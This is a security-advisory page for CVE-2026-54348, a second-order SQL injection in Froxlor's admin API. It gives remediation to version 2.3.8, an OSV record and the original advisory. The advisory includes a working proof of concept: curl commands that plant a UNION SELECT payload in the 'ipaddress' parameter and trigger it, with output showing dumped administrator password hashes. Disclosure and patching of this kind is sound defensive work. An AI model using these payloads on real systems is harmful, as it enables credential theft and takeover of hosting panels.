CVE-2026-54348: Froxlor SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-w27m-rmmf-g5w4
CVSS 7.2
CWE-89
Published
Advisory Summary

CVE-2026-54348 is a HIGH (CVSS 7.2) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Froxlor libraries in the Packagist ecosystem. The issue involves second-order sql injection via `admins.add` `ipaddress` parameter allows full database exfiltration. Remediation is available by upgrading affected packages to version 2.3.8.

CVE-2026-54348 at a Glance

CVE Identifier CVE-2026-54348
GHSA Identifier GHSA-w27m-rmmf-g5w4
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54348

To remediate this vulnerability, upgrade all affected Froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.8
Upgrade froxlor/froxlor to 2.3.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54348, inspect your project dependencies for Froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes. --- ### Details The vulnerability spans two code locations that form a store-then-trigger chain. **Stage 1 — Unsanitized array stored as JSON** — `lib/Froxlor/Api/Commands/Admins.php:251,358` ```php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (is_array([...]) && non_empty_array > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0 ? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip : -1), ``` The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored. **Stage 2 — JSON payload imploded directly into SQL** — `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77` ```php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // json_decode restores the array; implode joins elements with no casting or escaping $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")"; } $result_stmt = Database::prepare( "SELECT * FROM `panel_ipsandports` " . $ip_where . ... ); // Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>) ``` The same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`. Every other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception. --- ### PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" /> **Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`. **Step 1 — Poison: store the UNION SELECT payload via `Admins.add`** ```bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "new_loginname": "eviladmin", "email": "x@x.local", "admin_password": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"] } }' ``` The `ip` column of `panel_admins` for `eviladmin` now contains: ``` ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"] ``` **Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account** No interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient: ``` http://TARGET/admin_index.php?page=ipsandports ``` Or directly via API: ```bash curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}' ``` **Confirmed output from live instance (`localhost:8290`):** ```json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } } ``` The `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database. **Minimum reproduction — two CMD single-line commands:** Step 1: poison (run once with any admin API key that has `change_serversettings=1`): ```cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}" ``` Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices): ```cmd curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}" ``` **Confirmed output from live instance (`localhost:8290`) — step 2 alone:** ```cmd curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}" ``` ```json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } } ``` --- ### Impact **Type:** Second-Order SQL Injection (UNION-based) **Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised. Consequences: - **Full credential dump** — all admin and customer login names and bcrypt password hashes are extractable in a single request. - **Lateral movement** — cracked hashes allow login to other admin accounts or customer accounts. - **Data exfiltration** — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - **Privilege escalation** — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel. --- ### Fix **Option A (recommended) — Integer-cast all elements before implode:** ```php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true)); $ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")"; ``` **Option B — Validate at storage time in `Admins.add` / `Admins.update`:** ```php // lib/Froxlor/Api/Commands/Admins.php if (is_array($ipaddress)) { $ipaddress = array_filter($ipaddress, 'is_numeric'); } 'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0 ? json_encode(array_map('intval', $ipaddress)) : -1), ``` Apply the same fix to the identical pattern in `Domains.php:1016`. ---

CVE-2026-54348 Affected Froxlor Versions

1 component(s)
Fixed Versions:
2.3.8
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.8
2.3.8

References

Frequently Asked Questions

What is CVE-2026-54348?
CVE-2026-54348 is a security vulnerability in Froxlor involving Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Froxlor versions are affected?
Affected versions include releases prior to 2.3.8 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-54348?
Upgrading to 2.3.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.8. Upgrade your dependency to 2.3.8 or later.
What is the CVSS score of CVE-2026-54348?
CVE-2026-54348 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54348?
CVE-2026-54348 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-54348?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w27m-rmmf-g5w4",
  "modified" : "2026-08-18T20:47:59Z",
  "published" : "2026-08-18T20:47:59Z",
  "aliases" : [ "CVE-2026-54348" ],
  "summary" : "Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration",
  "details" : "### Summary\n\nA second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 — Unsanitized array stored as JSON** — `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this->getParam('ipaddress', true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n'ip' => empty($ipaddress) ? \"\" : (is_array($ipaddress) && $ipaddress > 0\n    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip\n    : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 — JSON payload imploded directly into SQL** — `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {\n    // json_decode restores the array; implode joins elements with no casting or escaping\n    $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this->getUserDetail('ip'), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n    \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n<img width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" />\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 — Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"command\": \"Admins.add\",\n    \"params\": {\n      \"name\": \"x\",\n      \"new_loginname\": \"eviladmin\",\n      \"email\": \"x@x.local\",\n      \"admin_password\": \"Passw0rd!123\",\n      \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n    }\n  }'\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"command\":\"IpsAndPorts.listing\"}'\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"ip\": \"admin\",\n        \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n      },\n      {\n        \"ip\": \"eviladmin\",\n        \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n      }\n    ]\n  }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction — two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) — step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      { \"ip\": \"admin\",     \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n      { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n    ]\n  }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** — all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** — cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) — Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B — Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n    $ipaddress = array_filter($ipaddress, 'is_numeric');\n}\n'ip' => empty($ipaddress) ? \"\" : (is_array($ipaddress) && count($ipaddress) > 0\n    ? json_encode(array_map('intval', $ipaddress))\n    : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:47:59Z",
    "nvd_published_at" : null
  }
}